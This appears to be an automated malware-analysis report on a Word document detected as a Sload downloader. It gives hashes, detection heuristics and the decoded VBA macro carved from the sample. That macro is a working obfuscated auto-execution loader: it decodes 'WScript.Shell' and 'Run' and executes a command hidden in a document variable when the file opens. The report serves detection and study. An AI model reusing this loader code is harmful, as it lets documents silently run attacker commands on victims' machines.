Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2fa215af9a92387…

MALICIOUS

Office (OLE)

98.0 KB Created: 2018-09-03 14:25:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 48bfc776963a7c0ab17956b9736e6031 SHA-1: 5d730e2b2b4ec3828de981ec8d34f2474a368b15 SHA-256: c2fa215af9a92387ff4d4f79f2c5ce625865d56da33cc265ce1769c1be7cdace
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains obfuscated VBA macros, including a Document_Open auto-execution routine. The script uses CreateObject and CallByName to dynamically execute code, likely to download and run a secondary payload. The ClamAV detection 'Doc.Downloader.Sload-6691312-0' further supports its role as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Sload-6691312-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6691312-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1046 bytes
SHA-256: 47c97da3598bc49634c1b07eea885e857755925c93805db0e1baca65d132af26
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function LED_(ByVal P_ As String)
Dim JON_(2) As Integer: JON_(0) = Val("38"): JON_(1) = Val("72"): Dim KP_ As String: Dim EH_ As Long: For EH_ = 1 To Len(P_) Step 2: KP_ = KP_ & Chr(Val(Chr(JON_(0)) & Chr(JON_(1)) & Mid(P_, EH_, 2)) - 18): Next: LED_ = KP_
End Function
Sub Document_Open()
CallByName CreateObject(LED_("696575847B828640657A777E7E")), LED_("648780"), VbMethod, LED_(ActiveDocument.Variables("ZHTAWRWY").Value), 0, True
End Sub
Private Function WWAAOH_() As String
DTRMYGE_(BMCVYODMOJV_)):HAOXJWIKEHH_ = aPIZNVTBM_:Select Case GJ_: Case Is >= 17: JMC_ = "MVYQTRP_": Case Is >= 173: PY_ = "UVCZHKHJI_": Case Is >= 145: QKT_ = "VAZUCIZ_": Case Else: SSC_ = "WIDJF_": End Select:WWAAOH_ = WXHWADZG_:
End Function

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